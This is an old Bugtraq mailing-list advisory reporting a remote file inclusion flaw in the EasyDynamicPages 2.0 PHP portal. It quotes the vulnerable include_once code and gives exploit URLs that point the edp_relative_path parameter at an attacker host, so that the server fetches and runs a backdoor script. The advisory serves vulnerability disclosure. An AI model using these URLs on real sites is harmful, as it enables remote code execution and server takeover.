include() vuln in EasyDynamicPages v.2.0

From: Vietnamese Security Group (security_at_security.com.vn)
Date: 01/02/04

  • Next message: tlarholm_at_pivx.com: "RE: Self-Executing HTML: Internet Explorer 5.5 and 6.0 Part IV"
    Date: 2 Jan 2004 15:18:21 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    Producr:EasyDynamicPages v.2.0: Advanced Portal Management System
    Vendors:http://software.stoitsov.com
    Bug :include()
    Risk:Cao
    Author:tsbeginnervn(c)
    Web : www.security.com.vn

    -------------------------------------
    Introduction :
    system, personal or business site or what you need.

    The goal is to have an automated web site not only to distribute news and items with automated system but also easily to create and edit dynamic web pages (DynamicPages) without knowledge of html, php or whether you need to develop websites.

    Each user can submit news, comments, discuss articles and more. Registered users and administrators can additionally create and modify DynamicPages.

    Plugins included with the install are BookMarks manager, E-Publish, E-card and E-gallery systems and Yahoo-like E-Classifier system.

    Features: design/content separation, web admin, user-customizable theme management, SiteConfig manager, PageEdit manager, Search engine, Left-Right blocks system, editor to add news and for content management, modular DynamicalPages structure, system self install and more.

    Written in PHP, works on windows, unix, linux and requires PHP, Apache and MySQL.

    Vuln in files:
    /admin/config.php va /dynamicpages/fast/config_page.php
    ==================

    The Code in File /admin/config.php :

    ++++++++++++++++++++++++
    include_once $edp_relative_path."admin/serverdata.php";
    ++++++++++++++++++++++++

    Exploit:
    http://victim/admin/config.php/edp_relative_path=http://attacker/
    Voi host cua attacker:
    http://attacker/admin/serverdata.php

    The code in File /dynamicpages/fast/config_page.php :

    ++++++++++++++++++++++++
    $ResultHtml="";
    if ($do=="add_page") {
    switch($du) {
    case "site": include_once $edp_relative_path."admin/site_settings.php"; break;
    case "dpage": include_once $edp_relative_path."admin/dpage_settings.php"; break;
    ++++++++++++++++++++++++

    Exploit:
    http://victim/dynamicpages/fast/config_page.php?do=add_page&du=site&edp_relative_path=http://attacker/

    If a attacker have Script backdoor in URL :
    http://attacker/admin/site_settings.php

    Then acttacker exploit :

    http://victim/dynamicpages/fast/config_page.php?do=add_page&du=dpage&edp_relative_path=http://attacker/

    ====================================================================

    tsbeginnervn - BugSearch
    www.security.com.vn


  • Next message: tlarholm_at_pivx.com: "RE: Self-Executing HTML: Internet Explorer 5.5 and 6.0 Part IV"